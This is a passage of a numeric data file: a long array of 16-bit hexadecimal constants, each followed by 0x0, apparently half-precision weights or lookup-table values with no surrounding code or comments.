0xaf72, 0x0, 0xb85e, 0x0, 0xb9b5, 0x0, 0xb71f, 0x0,
0x2876, 0x0, 0x37cf, 0x0, 0x39ad, 0x0, 0x361c, 0x0,
0x255f, 0x0, 0xb722, 0x0, 0xb9b4, 0x0, 0xb855, 0x0,
0x1981, 0x0, 0x3828, 0x0, 0x396b, 0x0, 0x379f, 0x0,
0xa20a, 0x0, 0xb841, 0x0, 0xb9ef, 0x0, 0xb636, 0x0,
0xa3b5, 0x0, 0x37b5, 0x0, 0x3944, 0x0, 0x38a1, 0x0,
0xa20a, 0x0, 0xb79a, 0x0, 0xba5a, 0x0, 0xb6df, 0x0,
0xa65c, 0x0, 0x380b, 0x0, 0x394d, 0x0, 0x36bf, 0x0,
0xae36, 0x0, 0xb823, 0x0, 0xb9c8, 0x0, 0xb6e2, 0x0,
0xa8b1, 0x0, 0x3846, 0x0, 0x38f6, 0x0, 0x370f, 0x0,
0x2301, 0x0, 0xb813, 0x0, 0xba07, 0x0, 0xb6e9, 0x0,
0xa543, 0x0, 0x383e, 0x0, 0x3966, 0x0, 0x37c7, 0x0,
0x2070, 0x0, 0xb823, 0x0, 0xb946, 0x0, 0xb83c, 0x0,
0x29b3, 0x0, 0x3756, 0x0, 0x38a7, 0x0, 0x37c3, 0x0,
0x2609, 0x0, 0xb7f7, 0x0, 0xba09, 0x0, 0xb829, 0x0,
0xabd0, 0x0, 0x3724, 0x0, 0x39a6, 0x0, 0x387c, 0x0,
0xa631, 0x0, 0xb870, 0x0, 0xb9e7, 0x0, 0xb7c2, 0x0,
0x2cdf, 0x0, 0x37d2, 0x0, 0x39cc, 0x0, 0x3802, 0x0,
0xa475, 0x0, 0xb78a, 0x0, 0xb99e, 0x0, 0xb658, 0x0,
0x1453, 0x0, 0x3834, 0x0, 0x392d, 0x0, 0x3721, 0x0,
0xaed6, 0x0, 0xb848, 0x0, 0xba08, 0x0, 0xb7b8, 0x0,
0xae31, 0x0, 0x377a, 0x0, 0x39cf, 0x0, 0x38c2, 0x0,
0xa3c7, 0x0, 0xb7ee, 0x0, 0xb997, 0x0, 0xb75b, 0x0,
0xa9fd, 0x0, 0x3702, 0x0, 0x39bf, 0x0, 0x3811, 0x0,
0x299c, 0x0, 0xb72d, 0x0, 0xb9a2, 0x0, 0xb87f, 0x0,
0x20e8, 0x0, 0x36b5, 0x0, 0x3972, 0x0, 0x385d, 0x0,
0xabe5, 0x0, 0xb83c, 0x0, 0xb94d, 0x0, 0xb850, 0x0,
0x28ac, 0x0, 0x380a, 0x0, 0x39f7, 0x0, 0x37c7, 0x0,
0x20dc, 0x0, 0xb851, 0x0, 0xb9fd, 0x0, 0xb7a5, 0x0,
0xa6ea, 0x0, 0x380a, 0x0, 0x39bd, 0x0, 0x3802, 0x0,
0xa5a4, 0x0, 0xb79a, 0x0, 0xb976, 0x0, 0xb7ca, 0x0,
0x2ddd, 0x0, 0x3854, 0x0, 0x3984, 0x0, 0x37e4, 0x0,
0xa25c, 0x0, 0xb7b9, 0x0, 0xb90d, 0x0, 0xb825, 0x0,
0x27a7, 0x0, 0x37f9, 0x0, 0x39db, 0x0, 0x3829, 0x0,
0x2958, 0x0, 0xb80f, 0x0, 0xba7d, 0x0, 0xb750, 0x0,
0x2d2e, 0x0, 0x36d6, 0x0, 0x3981, 0x0, 0x37d1, 0x0,
0x9e9e, 0x0, 0xb77d, 0x0, 0xb944, 0x0, 0xb833, 0x0,
0xa20e, 0x0, 0x3838, 0x0, 0x3960, 0x0, 0x37f0, 0x0,
0x2d5b, 0x0, 0xb7eb, 0x0, 0xb955, 0x0, 0xb79d, 0x0,
0x140e, 0x0, 0x380f, 0x0, 0x3965, 0x0, 0x3650, 0x0,
0xa847, 0x0, 0xb844, 0x0, 0xba0d, 0x0, 0xb7a0, 0x0,
0xa285, 0x0, 0x3878, 0x0, 0x38d4, 0x0, 0x37fc, 0x0,
0x17c9, 0x0, 0xb718, 0x0, 0xb9d0, 0x0, 0xb848, 0x0,
0x2adc, 0x0, 0x372c, 0x0, 0x396b, 0x0, 0x373d, 0x0,
0xacf8, 0x0, 0xb701, 0x0, 0xb91c, 0x0, 0xb81b, 0x0,
0xa916, 0x0, 0x37a1, 0x0, 0x3991, 0x0, 0x38cd, 0x0,
0x2c0d, 0x0, 0xb738, 0x0, 0xb8c3, 0x0, 0xb881, 0x0,
0xab7a, 0x0, 0x37a0, 0x0, 0x396a, 0x0, 0x36cc, 0x0,
0x21da, 0x0, 0xb830, 0x0, 0xb961, 0x0, 0xb7f1, 0x0,
0x20bf, 0x0, 0x37fa, 0x0, 0x39ee, 0x0, 0x373d, 0x0,
0xa66e, 0x0, 0xb7cf, 0x0, 0xb9b1, 0x0, 0xb809, 0x0,
0xab01, 0x0, 0x3833, 0x0, 0x396f, 0x0, 0x366a, 0x0,
0x2a43, 0x0, 0xb821, 0x0, 0xb9c6, 0x0, 0xb880, 0x0,
0xae0a, 0x0, 0x3817, 0x0, 0x3923, 0x0, 0x3801, 0x0,
0x286b, 0x0, 0xb7c1, 0x0, 0xb9c7, 0x0, 0xb7b5, 0x0,
0x2707, 0x0, 0x38c5, 0x0, 0x3995, 0x0, 0x3860, 0x0,
0x21da, 0x0, 0xb809, 0x0, 0xb981, 0x0, 0xb836, 0x0,
0x2848, 0x0, 0x37ec, 0x0, 0x3a0f, 0x0, 0x3744, 0x0,
0x2683, 0x0, 0xb806, 0x0, 0xba6c, 0x0, 0xb849, 0x0,
0x2f7f, 0x0, 0x374a, 0x0, 0x3924, 0x0, 0x369d, 0x0,
0x2c0e, 0x0, 0xb82e, 0x0, 0xba48, 0x0, 0xb7ce, 0x0,
0xa982, 0x0, 0x376e, 0x0, 0x398a, 0x0, 0x3707, 0x0,
0x9d27, 0x0, 0xb8a3, 0x0, 0xb9db, 0x0, 0xb815, 0x0,
0x2275, 0x0, 0x37df, 0x0, 0x39db, 0x0, 0x379d, 0x0,
0xa6ea, 0x0, 0xb863, 0x0, 0xb92d, 0x0, 0xb863, 0x0,
0xb019, 0x0, 0x3858, 0x0, 0x3a58, 0x0, 0x37fc, 0x0,
0xa30f, 0x0, 0xb6ee, 0x0, 0xb8e8, 0x0, 0xb826, 0x0,
0x2d47, 0x0, 0x377b, 0x0, 0x39ac, 0x0, 0x3868, 0x0,
0x2bc4, 0x0, 0xb7a8, 0x0, 0xba29, 0x0, 0xb709, 0x0,
0x137e, 0x0, 0x3843, 0x0, 0x3a02, 0x0, 0x3859, 0x0,
0xad56, 0x0, 0xb83c, 0x0, 0xb9a4, 0x0, 0xb825, 0x0,
0xab0f, 0x0, 0x3706, 0x0, 0x39fc, 0x0, 0x3821, 0x0,
0xa857, 0x0, 0xb8e9, 0x0, 0xb9f4, 0x0, 0xb6b7, 0x0,
0xab9c, 0x0, 0x3825, 0x0, 0x38c6, 0x0, 0x3704, 0x0,
0xa3a4, 0x0, 0xb74b, 0x0, 0xba96, 0x0, 0xb714, 0x0,
0x94f0, 0x0, 0x3816, 0x0, 0x38f9, 0x0, 0x37ba, 0x0,
0xac7e, 0x0, 0xb874, 0x0, 0xb8c2, 0x0, 0xb679, 0x0,
0x2dbb, 0x0, 0x3812, 0x0, 0x39d4, 0x0, 0x3832, 0x0,
0x9ff7, 0x0, 0xb71b, 0x0, 0xba6f, 0x0, 0xb71b, 0x0,
0xa825, 0x0, 0x38af, 0x0, 0x39df, 0x0, 0x3847, 0x0,
0xac47, 0x0, 0xb873, 0x0, 0xb9dd, 0x0, 0xb7b6, 0x0,
0x3092, 0x0, 0x3816, 0x0, 0x3963, 0x0, 0x3759, 0x0,
0x1fd2, 0x0, 0xb656, 0x0, 0xba35, 0x0, 0xb83f, 0x0,
0x2541, 0x0, 0x387e, 0x0, 0x392c, 0x0, 0x371b, 0x0,
0xa715, 0x0, 0xb780, 0x0, 0xba07, 0x0, 0xb761, 0x0,
0x2ca6, 0x0, 0x3874, 0x0, 0x398a, 0x0, 0x36c2, 0x0,
0x9590, 0x0, 0xb77c, 0x0, 0xb962, 0x0, 0xb7a4, 0x0,
0xa420, 0x0, 0x3644, 0x0, 0x3979, 0x0, 0x3864, 0x0,
0x9a8f, 0x0, 0xb822, 0x0, 0xb96d, 0x0, 0xb838, 0x0,
0x2ed0, 0x0, 0x3895, 0x0, 0x39bb, 0x0, 0x3846, 0x0,
0x219f, 0x0, 0xb6df, 0x0, 0xb971, 0x0, 0xb692, 0x0,
0x2b23, 0x0, 0x389f, 0x0, 0x39b5, 0x0, 0x36d5, 0x0,
0x304a, 0x0, 0xb85a, 0x0, 0xb94a, 0x0, 0xb7ed, 0x0,
0xa4ef, 0x0, 0x3827, 0x0, 0x39fc, 0x0, 0x37dc, 0x0,
0xa674, 0x0, 0xb813, 0x0, 0xb9c5, 0x0, 0xb77d, 0x0,
0xa964, 0x0, 0x37bb, 0x0, 0x39c3, 0x0, 0x3749, 0x0,
0xa74f, 0x0, 0xb81a, 0x0, 0xb972, 0x0, 0xb789, 0x0,
0x1fa9, 0x0, 0x37a8, 0x0, 0x397b, 0x0, 0x376d, 0x0,
0x292a, 0x0, 0xb771, 0x0, 0xb9a1, 0x0, 0xb63a, 0x0,
0xac7e, 0x0, 0x382f, 0x0, 0x397a, 0x0, 0x3796, 0x0,
0xadcf, 0x0, 0xb74b, 0x0, 0xb9cc, 0x0, 0xb7f7, 0x0,
0x2b33, 0x0, 0x36fd, 0x0, 0x3987, 0x0, 0x373e, 0x0,
0x1443, 0x0, 0xb80b, 0x0, 0xba3a, 0x0, 0xb73f, 0x0,
0xa58b, 0x0, 0x3711, 0x0, 0x3a55, 0x0, 0x383d, 0x0,
0x2d5b, 0x0, 0xb836, 0x0, 0xb97b, 0x0, 0xb82e, 0x0,
0xb05b, 0x0, 0x3804, 0x0, 0x3903, 0x0, 0x36b3, 0x0,
0x2f7c, 0x0, 0xb802, 0x0, 0xb998, 0x0, 0xb736, 0x0,
0xa73c, 0x0, 0x37d3, 0x0, 0x39c4, 0x0, 0x3818, 0x0,
0xa48d, 0x0, 0xb855, 0x0, 0xb965, 0x0, 0xb715, 0x0,
0xa380, 0x0, 0x3827, 0x0, 0x38da, 0x0, 0x38d7, 0x0,
0xae84, 0x0, 0xb801, 0x0, 0xb96a, 0x0, 0xb7ca, 0x0,
0x2f2c, 0x0, 0x37a0, 0x0, 0x3a39, 0x0, 0x3780, 0x0,
0xac47, 0x0, 0xb789, 0x0, 0xb99e, 0x0, 0xb81d, 0x0,
0xa5e7, 0x0, 0x38a2, 0x0, 0x39e6, 0x0, 0x381f, 0x0,
0x2e0a, 0x0, 0xb777, 0x0, 0xb976, 0x0, 0xb7be, 0x0,
0xadf2, 0x0, 0x382e, 0x0, 0x3916, 0x0, 0x37b2, 0x0,
0x92a0, 0x0, 0xb81c, 0x0, 0xb930, 0x0, 0xb84c, 0x0,
0xa51f, 0x0, 0x37f9, 0x0, 0x38b7, 0x0, 0x36e0, 0x0,
0xa963, 0x0, 0xb74b, 0x0, 0xba8e, 0x0, 0xb887, 0x0,
0x2cef, 0x0, 0x3819, 0x0, 0x3954, 0x0, 0x3804, 0x0,
0x2666, 0x0, 0xb6d6, 0x0, 0xb98e, 0x0, 0xb835, 0x0,
0xa9a7, 0x0, 0x3721, 0x0, 0x3911, 0x0, 0x37c7, 0x0,
0xab17, 0x0, 0xb862, 0x0, 0xb9e3, 0x0, 0xb7ca, 0x0,
0xa453, 0x0, 0x36c8, 0x0, 0x39fa, 0x0, 0x38a3, 0x0,
0xa969, 0x0, 0xb814, 0x0, 0xb9c0, 0x0, 0xb793, 0x0,
0xa1a6, 0x0, 0x3818, 0x0, 0x3a0b, 0x0, 0x384f, 0x0,
0xa8c5, 0x0, 0xb81a, 0x0, 0xb978, 0x0, 0xb82f, 0x0,
0xa1d6, 0x0, 0x36d4, 0x0, 0x39c0, 0x0, 0x3852, 0x0,
0xa82b, 0x0, 0xb864, 0x0, 0xb8fe, 0x0, 0xb799, 0x0,
0xa60d, 0x0, 0x37df, 0x0, 0x3996, 0x0, 0x37d5, 0x0,
0xa9b6, 0x0, 0xb86c, 0x0, 0xb9a3, 0x0, 0xb76b, 0x0,
0xa4ca, 0x0, 0x36bd, 0x0, 0x39ac, 0x0, 0x389e, 0x0,
0x2bfb, 0x0, 0xb7ae, 0x0, 0xb9a3, 0x0, 0xb765, 0x0,
0x2c79, 0x0, 0x37ef, 0x0, 0x3980, 0x0, 0x37be, 0x0,
0xa563, 0x0, 0xb88a, 0x0, 0xb9b3, 0x0, 0xb72e, 0x0,
0xaaee, 0x0, 0x3833, 0x0, 0x39d4, 0x0, 0x36ee, 0x0,
0x271c, 0x0, 0xb71c, 0x0, 0xb959, 0x0, 0xb879, 0x0,
0xa274, 0x0, 0x3842, 0x0, 0x3a5d, 0x0, 0x3910, 0x0,
0xa62b, 0x0, 0xb842, 0x0, 0xb9ca, 0x0, 0xb8be, 0x0,
0xa846, 0x0, 0x38b8, 0x0, 0x3949, 0x0, 0x387e, 0x0,
0x23b5, 0x0, 0xb708, 0x0, 0xb98e, 0x0, 0xb833, 0x0,
0x29b7, 0x0, 0x3794, 0x0, 0x39ab, 0x0, 0x374f, 0x0,
0x2c3c, 0x0, 0xb92d, 0x0, 0xb95d, 0x0, 0xb74e, 0x0,
0xaccf, 0x0, 0x368d, 0x0, 0x3926, 0x0, 0x38ba, 0x0,
0x25b2, 0x0, 0xb7a4, 0x0, 0xb964, 0x0, 0xb75c, 0x0,
0xa88e, 0x0, 0x3892, 0x0, 0x3963, 0x0, 0x3766, 0x0,
0xa90e, 0x0, 0xb889, 0x0, 0xb972, 0x0, 0xb784, 0x0,
0xa6d6, 0x0, 0x3740, 0x0, 0x3a64, 0x0, 0x384c, 0x0,
0xa70d, 0x0, 0xb87a, 0x0, 0xba45, 0x0, 0xb7d3, 0x0,
0xa7f8, 0x0, 0x377b, 0x0, 0x39e2, 0x0, 0x382d, 0x0,
0x12d6, 0x0, 0xb791, 0x0, 0xb9bd, 0x0, 0xb81f, 0x0,
0x2d4c, 0x0, 0x3839, 0x0, 0x38ce, 0x0, 0x3765, 0x0,
0x2084, 0x0, 0xb81d, 0x0, 0xb955, 0x0, 0xb85c, 0x0,
0x9c42, 0x0, 0x37dd, 0x0, 0x39fb, 0x0, 0x3803, 0x0,
0xad75, 0x0, 0xb81e, 0x0, 0xb98f, 0x0, 0xb7b1, 0x0,
0x2d7b, 0x0, 0x37e4, 0x0, 0x3a12, 0x0, 0x3896, 0x0,
0x27e3, 0x0, 0xb76a, 0x0, 0xb994, 0x0, 0xb633, 0x0,
0x1d18, 0x0, 0x387a, 0x0, 0x39b0, 0x0, 0x37c8, 0x0,
0x2575, 0x0, 0xb6a8, 0x0, 0xb9bd, 0x0, 0xb6df, 0x0,
0x29fb, 0x0, 0x3844, 0x0, 0x39a1, 0x0, 0x36fa, 0x0,
0xab14, 0x0, 0xb834, 0x0, 0xb9ed, 0x0, 0xb870, 0x0,
0xaac3, 0x0, 0x3850, 0x0, 0x3950, 0x0, 0x385d, 0x0,
0x2807, 0x0, 0xb790, 0x0, 0xb8f9, 0x0, 0xb6ec, 0x0,
0x2446, 0x0, 0x37e0, 0x0, 0x3992, 0x0, 0x36dd, 0x0,
0x2bd2, 0x0, 0xb82a, 0x0, 0xba09, 0x0, 0xb803, 0x0,
0xa745, 0x0, 0x37ba, 0x0, 0x39ab, 0x0, 0x385e, 0x0,
0x24ea, 0x0, 0xb820, 0x0, 0xb9b4, 0x0, 0xb72a, 0x0,
0xaa11, 0x0, 0x37b3, 0x0, 0x3899, 0x0, 0x3812, 0x0,
0xaae0, 0x0, 0xb7ef, 0x0, 0xb96f, 0x0, 0xb84b, 0x0,
0x2bb9, 0x0, 0x3781, 0x0, 0x3a37, 0x0, 0x3800, 0x0,
0xaa83, 0x0, 0xb6ea, 0x0, 0xb9d8, 0x0, 0xb73f, 0x0,
0xa92d, 0x0, 0x377a, 0x0, 0x3a4d, 0x0, 0x3741, 0x0,
0x25eb, 0x0, 0xb872, 0x0, 0xb9ce, 0x0, 0xb73c, 0x0,
0xa41c, 0x0, 0x36ea, 0x0, 0x39a0, 0x0, 0x3819, 0x0,
0xac55, 0x0, 0xb808, 0x0, 0xb9ef, 0x0, 0xb887, 0x0,
0x25dc, 0x0, 0x37c5, 0x0, 0x39c2, 0x0, 0x3860, 0x0,
0x9b0e, 0x0, 0xb76a, 0x0, 0xb94f, 0x0, 0xb7b7, 0x0,
0x15c5, 0x0, 0x36e2, 0x0, 0x39ef, 0x0, 0x373f, 0x0,
0x284b, 0x0, 0xb7d1, 0x0, 0xb969, 0x0, 0xb84d, 0x0,
0xabbe, 0x0, 0x3808, 0x0, 0x3994, 0x0, 0x375b, 0x0,
0x2f4c, 0x0, 0xb747, 0x0, 0xb96a, 0x0, 0xb707, 0x0,
0xa1ae, 0x0, 0x3847, 0x0, 0x398b, 0x0, 0x375b, 0x0,
0x2913, 0x0, 0xb888, 0x0, 0xba16, 0x0, 0xb862, 0x0,
0xab11, 0x0, 0x3714, 0x0, 0x3a41, 0x0, 0x3823, 0x0,
0xa86a, 0x0, 0xb72b, 0x0, 0xb97f, 0x0, 0xb847, 0x0,
0xa431, 0x0, 0x3868, 0x0, 0x3aa0, 0x0, 0x378f, 0x0,
0xa823, 0x0, 0xb789, 0x0, 0xb8c6, 0x0, 0xb753, 0x0,
0x85fe, 0x0, 0x381e, 0x0, 0x39ab, 0x0, 0x382e, 0x0,
0x2618, 0x0, 0xb858, 0x0, 0xb9bc, 0x0, 0xb734, 0x0,
0xac50, 0x0, 0x381c, 0x0, 0x3994, 0x0, 0x3877, 0x0,
0xadb0, 0x0, 0xb80f, 0x0, 0xb97c, 0x0, 0xb7a1, 0x0,
0xa33e, 0x0, 0x376b, 0x0, 0x3a87, 0x0, 0x37e3, 0x0,
0x2e81, 0x0, 0xb83f, 0x0, 0xb933, 0x0, 0xb750, 0x0,
0xa920, 0x0, 0x3794, 0x0, 0x399e, 0x0, 0x3714, 0x0,
0x24d2, 0x0, 0xb6d6, 0x0, 0xb9ea, 0x0, 0xb777, 0x0,
0xa9c0, 0x0, 0x37c4, 0x0, 0x3989, 0x0, 0x380f, 0x0,
0xa5f5, 0x0, 0xb805, 0x0, 0xb9be, 0x0, 0xb833, 0x0,
0xa076, 0x0, 0x37f4, 0x0, 0x39bf, 0x0, 0x3799, 0x0,
0xab73, 0x0, 0xb86f, 0x0, 0xb9a2, 0x0, 0xb88e, 0x0,
0x2a43, 0x0, 0x382f, 0x0, 0x399c, 0x0, 0x3861, 0x0,
0xa190, 0x0, 0xb733, 0x0, 0xb9d9, 0x0, 0xb809, 0x0,
0xa954, 0x0, 0x3752, 0x0, 0x3949, 0x0, 0x370e, 0x0,
0x2fb9, 0x0, 0xb7bf, 0x0, 0xba15, 0x0, 0xb709, 0x0,
0x2a76, 0x0, 0x3794, 0x0, 0x3983, 0x0, 0x3811, 0x0,
0xa017, 0x0, 0xb870, 0x0, 0xba27, 0x0, 0xb81d, 0x0,
0x2abf, 0x0, 0x37a1, 0x0, 0x3a32, 0x0, 0x3885, 0x0,
0x2919, 0x0, 0xb845, 0x0, 0xba42, 0x0, 0xb904, 0x0,
0x2377, 0x0, 0x3758, 0x0, 0x39ed, 0x0, 0x3804, 0x0,
0xa72b, 0x0, 0xb8cc, 0x0, 0xb8e3, 0x0, 0xb81b, 0x0,
0x2161, 0x0, 0x3841, 0x0, 0x3934, 0x0, 0x382f, 0x0,
0x23e8, 0x0, 0xb6c1, 0x0, 0xb966, 0x0, 0xb8af, 0x0,
0x994e, 0x0, 0x3832, 0x0, 0x3991, 0x0, 0x38d8, 0x0,
0x2402, 0x0, 0xb656, 0x0, 0xb9ac, 0x0, 0xb82d, 0x0,
0x9167, 0x0, 0x3778, 0x0, 0x394a, 0x0, 0x373c, 0x0,
0xab52, 0x0, 0xb7ea, 0x0, 0xb93d, 0x0, 0xb7d2, 0x0,
0x2962, 0x0, 0x3810, 0x0, 0x398f, 0x0, 0x37e8, 0x0,
0xac3a, 0x0, 0xb80f, 0x0, 0xb997, 0x0, 0xb8ec, 0x0,
0xaabf, 0x0, 0x36a8, 0x0, 0x39c0, 0x0, 0x3816, 0x0,
0x23f0, 0x0, 0xb8b2, 0x0, 0xb93e, 0x0, 0xb7ef, 0x0,
0x2e69, 0x0, 0x3813, 0x0, 0x398f, 0x0, 0x38ff, 0x0,
0xa0aa, 0x0, 0xb7c9, 0x0, 0xb9fb, 0x0, 0xb701, 0x0,
0x27a0, 0x0, 0x389f, 0x0, 0x3940, 0x0, 0x37ba, 0x0,
0x2929, 0x0, 0xb835, 0x0, 0xba0b, 0x0, 0xb69e, 0x0,
0xa26b, 0x0, 0x3853, 0x0, 0x3969, 0x0, 0x36d1, 0x0,
0x20bc, 0x0, 0xb7ae, 0x0, 0xb953, 0x0, 0xb7bd, 0x0,
0xa0a3, 0x0, 0x3769, 0x0, 0x3938, 0x0, 0x36fc, 0x0,
0x27f6, 0x0, 0xb752, 0x0, 0xb8de, 0x0, 0xb7bb, 0x0,
0x28b8, 0x0, 0x385d, 0x0, 0x38c0, 0x0, 0x3841, 0x0,
0xa071, 0x0, 0xb79c, 0x0, 0xb998, 0x0, 0xb825, 0x0,
0xa296, 0x0, 0x3725, 0x0, 0x38a0, 0x0, 0x3898, 0x0,
0x2b6f, 0x0, 0xb7e4, 0x0, 0xb9a7, 0x0, 0xb6ea, 0x0,
0xa90c, 0x0, 0x36df, 0x0, 0x39e0, 0x0, 0x37bc, 0x0,
0xaaa9, 0x0, 0xb8dc, 0x0, 0xb9d6, 0x0, 0xb7a9, 0x0,
0xa97c, 0x0, 0x380a, 0x0, 0x39ff, 0x0, 0x37b2, 0x0,
0xa5cd, 0x0, 0xb8a7, 0x0, 0xb984, 0x0, 0xb85b, 0x0,
0x2dfa, 0x0, 0x371c, 0x0, 0x39a6, 0x0, 0x37e5, 0x0,
0xa298, 0x0, 0xb80d, 0x0, 0xb9be, 0x0, 0xb7b4, 0x0,
0xa4f4, 0x0, 0x38ae, 0x0, 0x3937, 0x0, 0x37a1, 0x0,
0xad2e, 0x0, 0xb826, 0x0, 0xba39, 0x0, 0xb762, 0x0,
0x2428, 0x0, 0x37a1, 0x0, 0x39c5, 0x0, 0x37e8, 0x0,
0x9bba, 0x0, 0xb80a, 0x0, 0xb9b5, 0x0, 0xb707, 0x0,
0x2bcf, 0x0, 0x37e5, 0x0, 0x393c, 0x0, 0x3813, 0x0,
0x2c79, 0x0, 0xb824, 0x0, 0xb9dc, 0x0, 0xb86e, 0x0,
0x25c8, 0x0, 0x3808, 0x0, 0x3911, 0x0, 0x3822, 0x0,
0xaa8d, 0x0, 0xb894, 0x0, 0xb90a, 0x0, 0xb837, 0x0,
0x26d2, 0x0, 0x3852, 0x0, 0x39c0, 0x0, 0x37b0, 0x0,
0x22ca, 0x0, 0xb783, 0x0, 0xb97b, 0x0, 0xb79b, 0x0,
0x1fff, 0x0, 0x37d1, 0x0, 0x3a5b, 0x0, 0x380e, 0x0,
0x2847, 0x0, 0xb7d8, 0x0, 0xb967, 0x0, 0xb8df, 0x0,
0xa845, 0x0, 0x371c, 0x0, 0x3a74, 0x0, 0x3820, 0x0,
0x954f, 0x0, 0xb880, 0x0, 0xba1b, 0x0, 0xb80b, 0x0,
0x2845, 0x0, 0x37c0, 0x0, 0x39b6, 0x0, 0x37c7, 0x0,
0x2654, 0x0, 0xb775, 0x0, 0xb9c2, 0x0, 0xb729, 0x0,
0x2d3a, 0x0, 0x3805, 0x0, 0x39e6, 0x0, 0x36d5, 0x0,
0x1ab2, 0x0, 0xb642, 0x0, 0xba1e, 0x0, 0xb7cc, 0x0,
0x2973, 0x0, 0x389c, 0x0, 0x39fb, 0x0, 0x3855, 0x0,
0x2c93, 0x0, 0xb84c, 0x0, 0xba0b, 0x0, 0xb7da, 0x0,
0xa08a, 0x0, 0x3842, 0x0, 0x3915, 0x0, 0x3746, 0x0,
0x294f, 0x0, 0xb8bb, 0x0, 0xb944, 0x0, 0xb886, 0x0,
0x2437, 0x0, 0x37cb, 0x0, 0x3980, 0x0, 0x386d, 0x0,
0x22d5, 0x0, 0xb6e5, 0x0, 0xb982, 0x0, 0xb805, 0x0,
0x153f, 0x0, 0x3772, 0x0, 0x3941, 0x0, 0x385d, 0x0,
0x2b08, 0x0, 0xb85b, 0x0, 0xb933, 0x0, 0xb78e, 0x0,
0xa968, 0x0, 0x371f, 0x0, 0x39cb, 0x0, 0x3810, 0x0,
0xafb2, 0x0, 0xb6a2, 0x0, 0xb937, 0x0, 0xb821, 0x0,
0x9b51, 0x0, 0x385a, 0x0, 0x398a, 0x0, 0x36ef, 0x0,
0x2a96, 0x0, 0xb7d2, 0x0, 0xbab2, 0x0, 0xb7c9, 0x0,
0x2612, 0x0, 0x37fb, 0x0, 0x3925, 0x0, 0x3703, 0x0,
0xa88c, 0x0, 0xb877, 0x0, 0xb9ac, 0x0, 0xb816, 0x0,
0x1b0f, 0x0, 0x382a, 0x0, 0x39ff, 0x0, 0x3861, 0x0,
0x2a1b, 0x0, 0xb76d, 0x0, 0xb92d, 0x0, 0xb808, 0x0,
0x2eab, 0x0, 0x370d, 0x0, 0x39d5, 0x0, 0x3811, 0x0,
0x262f, 0x0, 0xb6d1, 0x0, 0xb8f1, 0x0, 0xb8a7, 0x0,
0x2c48, 0x0, 0x370a, 0x0, 0x39db, 0x0, 0x3831, 0x0,
0x256f, 0x0, 0xb6b1, 0x0, 0xb97e, 0x0, 0xb784, 0x0,
0xa8e8, 0x0, 0x38d0, 0x0, 0x39f2, 0x0, 0x3841, 0x0,
0xa4f8, 0x0, 0xb87f, 0x0, 0xb915, 0x0, 0xb82a, 0x0,
0xab23, 0x0, 0x37a2, 0x0, 0x3995, 0x0, 0x3792, 0x0,
0xac48, 0x0, 0xb7f9, 0x0, 0xb9d5, 0x0, 0xb759, 0x0,
0xa97b, 0x0, 0x381e, 0x0, 0x396c, 0x0, 0x3768, 0x0,
0xa080, 0x0, 0xb7a0, 0x0, 0xb920, 0x0, 0xb7e7, 0x0,
0x2819, 0x0, 0x372b, 0x0, 0x398c, 0x0, 0x377e, 0x0,
0x28e2, 0x0, 0xb63c, 0x0, 0xb9bf, 0x0, 0xb878, 0x0,
0xa926, 0x0, 0x3733, 0x0, 0x39d3, 0x0, 0x3807, 0x0,
0xac1d, 0x0, 0xb891, 0x0, 0xb93d, 0x0, 0xb7cb, 0x0,
0x2977, 0x0, 0x3821, 0x0, 0x3a41, 0x0, 0x38cd, 0x0,
0xace5, 0x0, 0xb733, 0x0, 0xb9a4, 0x0, 0xb75c, 0x0,
0xaab1, 0x0, 0x388c, 0x0, 0x392f, 0x0, 0x38e8, 0x0,
0xa9f2, 0x0, 0xb6bf, 0x0, 0xb94f, 0x0, 0xb864, 0x0,
0xa9dc, 0x0, 0x37fe, 0x0, 0x3933, 0x0, 0x374c, 0x0,
0xa86a, 0x0, 0xb80d, 0x0, 0xb96f, 0x0, 0xb76a, 0x0,
0xadad, 0x0, 0x3647, 0x0, 0x396f, 0x0, 0x37f8, 0x0,
0xaa9d, 0x0, 0xb799, 0x0, 0xb975, 0x0, 0xb88d, 0x0,
0x28ba, 0x0, 0x3737, 0x0, 0x394c, 0x0, 0x3734, 0x0,
0xa89f, 0x0, 0xb7cc, 0x0, 0xb988, 0x0, 0xb775, 0x0,
0x9dc5, 0x0, 0x369d, 0x0, 0x39e2, 0x0, 0x38d0, 0x0,
0x2250, 0x0, 0xb828, 0x0, 0xb995, 0x0, 0xb83e, 0x0,
0xa56c, 0x0, 0x3831, 0x0, 0x39c2, 0x0, 0x3733, 0x0,
0x1b7e, 0x0, 0xb7c6, 0x0, 0xb992, 0x0, 0xb6dc, 0x0,
0xab06, 0x0, 0x36f3, 0x0, 0x395c, 0x0, 0x363e, 0x0,
0x2a62, 0x0, 0xb85b, 0x0, 0xb986, 0x0, 0xb7f0, 0x0,
0xa5de, 0x0, 0x381f, 0x0, 0x39f1, 0x0, 0x3707, 0x0,
0x296f, 0x0, 0xb774, 0x0, 0xb8a0, 0x0, 0xb867, 0x0,
0x2e7d, 0x0, 0x38a6, 0x0, 0x3a5c, 0x0, 0x3604, 0x0,
0xac17, 0x0, 0xb817, 0x0, 0xba15, 0x0, 0xb7e2, 0x0,
0x2c92, 0x0, 0x382d, 0x0, 0x394e, 0x0, 0x3869, 0x0,
0x2a29, 0x0, 0xb81b, 0x0, 0xba24, 0x0, 0xb870, 0x0,
0x2e21, 0x0, 0x375a, 0x0, 0x39f2, 0x0, 0x3812, 0x0,
0x26b5, 0x0, 0xb725, 0x0, 0xb9d6, 0x0, 0xb7e2, 0x0,
0x2eda, 0x0, 0x37bc, 0x0, 0x38f4, 0x0, 0x3711, 0x0,
0xaa94, 0x0, 0xb768, 0x0, 0xb953, 0x0, 0xb723, 0x0,
0xa1e3, 0x0, 0x381b, 0x0, 0x39f2, 0x0, 0x36c1, 0x0,
0xab80, 0x0, 0xb855, 0x0, 0xb8f7, 0x0, 0xb7e0, 0x0,
0x2248, 0x0, 0x3811, 0x0, 0x39ea, 0x0, 0x3791, 0x0,
0xaae7, 0x0, 0xb857, 0x0, 0xb99d, 0x0, 0xb789, 0x0,
0xac26, 0x0, 0x381e, 0x0, 0x39ff, 0x0, 0x36be, 0x0,
0xade5, 0x0, 0xb817, 0x0, 0xba2a, 0x0, 0xb752, 0x0,
0x1c90, 0x0, 0x36b9, 0x0, 0x39b5, 0x0, 0x37f2, 0x0,
0xa358, 0x0, 0xb7a3, 0x0, 0xba27, 0x0, 0xb763, 0x0,
0xa1d8, 0x0, 0x37df, 0x0, 0x3932, 0x0, 0x37e9, 0x0,
